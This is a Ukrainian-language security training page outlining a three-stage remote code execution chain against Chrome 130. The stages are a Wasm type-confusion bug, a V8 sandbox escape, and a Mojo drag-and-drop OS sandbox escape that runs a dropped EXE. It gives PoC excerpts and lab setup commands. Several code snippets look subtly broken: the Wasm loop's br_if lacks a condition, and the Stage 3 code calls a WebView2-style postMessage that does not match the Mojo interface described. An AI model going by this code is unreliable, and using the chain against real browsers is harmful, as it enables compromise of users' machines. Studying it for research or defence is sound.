# Chrome Exploiting

{{#include ../banners/hacktricks-training.md}}

> Ця сторінка надає загальний, але **практичний** огляд сучасного "повного ланцюга" експлуатації проти Google Chrome 130 на основі серії досліджень **“101 Chrome Exploitation”** (Частина-0 — Передмова).
> Мета полягає в тому, щоб надати пентестерам та розробникам експлойтів мінімальний фон, необхідний для відтворення або адаптації технік для власних досліджень.

## 1. Chrome Architecture Recap
Розуміння поверхні атаки вимагає знання, де виконується код і які пісочниці застосовуються.
```
+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
```
Шарована оборона в глибині:

* **V8 пісочниця** (Isolate): дозволи пам'яті обмежені, щоб запобігти довільному читанню/запису з JITed JS / Wasm.
* **Розділення Renderer ↔ Browser** забезпечується через **Mojo/IPC** обмін повідомленнями; рендерер не має *жодного* доступу до нативної FS/мережі.
* **OS пісочниці** додатково обмежують кожен процес (Рівні цілісності Windows / `seccomp-bpf` / профілі пісочниці macOS).

Отже, *віддаленому* атакуючому потрібні **три** послідовні примітиви:

1. Пошкодження пам'яті всередині V8, щоб отримати **довільний RW всередині купи V8**.
2. Другий баг, що дозволяє атакуючому **втекти з пісочниці V8 до повної пам'яті рендерера**.
3. Остаточне втеча з пісочниці (часто логіка, а не пошкодження пам'яті), щоб виконати код **поза пісочницею Chrome OS**.

---

## 2. Етап 1 – Помилка типу WebAssembly (CVE-2025-0291)

Недолік в оптимізації **Turboshaft** TurboFan неправильно класифікує **WasmGC типи посилань**, коли значення виробляється і споживається всередині *одного базового блоку циклу*.

Ефект:
* Компілятор **пропускає перевірку типу**, розглядаючи *посилання* (`externref/anyref`) як *int64*.
* Сформований Wasm дозволяє перекривати заголовок об'єкта JS з даними, контрольованими атакуючим → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR примітиви**.

Мінімальний PoC (витяг):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))
```
Оптимізація тригера та спрей-об'єкти з JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Результат: **произвольне читання/запис у V8**.

---

## 3. Етап 2 – Вихід з пісочниці V8 (проблема 379140430)

Коли функція Wasm компілюється в режимі tier-up, генерується **JS ↔ Wasm обгортка**. Помилка несумісності підпису призводить до того, що обгортка записує за межі кінця довіреного **`Tuple2`** об'єкта, коли функція Wasm повторно оптимізується *поки ще на стеку*.

Перезаписування 2 × 64-бітних полів об'єкта `Tuple2` дозволяє **читати/записувати на будь-яку адресу всередині процесу Renderer**, ефективно обходячи пісочницю V8.

Ключові кроки в експлойті:
1. Перевести функцію в стан **Tier-Up**, чергуючи код turbofan/baseline.
2. Викликати tier-up, зберігаючи посилання на стеку (`Function.prototype.apply`).
3. Використати Stage-1 AAR/AAW для знаходження та пошкодження сусіднього `Tuple2`.

Ідентифікація обгортки:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Після корупції ми маємо повнофункціональну **примітиву R/W рендерера**.

---

## 4. Етап 3 – Втеча з пісочниці ОС через рендерер (CVE-2024-11114)

**Mojo** IPC інтерфейс `blink.mojom.DragService.startDragging()` може бути викликаний з рендерера з *частково довіреними* параметрами. Створивши структуру `DragData`, що вказує на **довільний шлях до файлу**, рендерер переконує браузер виконати *рідну* операцію перетягування та скидання **поза пісочницею рендерера**.

Зловживаючи цим, ми можемо програмно “перетягнути” шкідливий EXE (раніше скинутий у місце, доступне для запису) на Робочий стіл, де Windows автоматично виконує певні типи файлів після скидання.

Приклад (спрощений):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Необхідно жодного додаткового пошкодження пам'яті – **логічна помилка** надає нам можливість виконання довільних файлів з привілеями користувача.

---

## 5. Повний ланцюг

1. **Користувач відвідує** шкідливу веб-сторінку.
2. **Етап 1**: Модуль Wasm зловживає CVE-2025-0291 → V8 heap AAR/AAW.
3. **Етап 2**: Невідповідність обгортки пошкоджує `Tuple2` → вихід з пісочниці V8.
4. **Етап 3**: `startDragging()` IPC → вихід з пісочниці ОС та виконання корисного навантаження.

Результат: **Віддалене виконання коду (RCE)** на хості (Chrome 130, Windows/Linux/macOS).

---

## 6. Налаштування лабораторії та налагодження
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Корисні флаги при запуску *development* збірки Chrome:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---

## Висновки

* **WebAssembly JIT помилки** залишаються надійною точкою входу – типова система все ще молода.
* Отримання другої помилки корупції пам'яті всередині V8 (наприклад, невідповідність обгортки) значно спрощує **втечу з пісочниці V8**.
* Логічні слабкості в привілейованих інтерфейсах Mojo IPC часто є достатніми для **остаточної втечі з пісочниці** – звертайте увагу на *непам'ятні* помилки.



## Посилання
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Архітектура безпеки Chromium](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}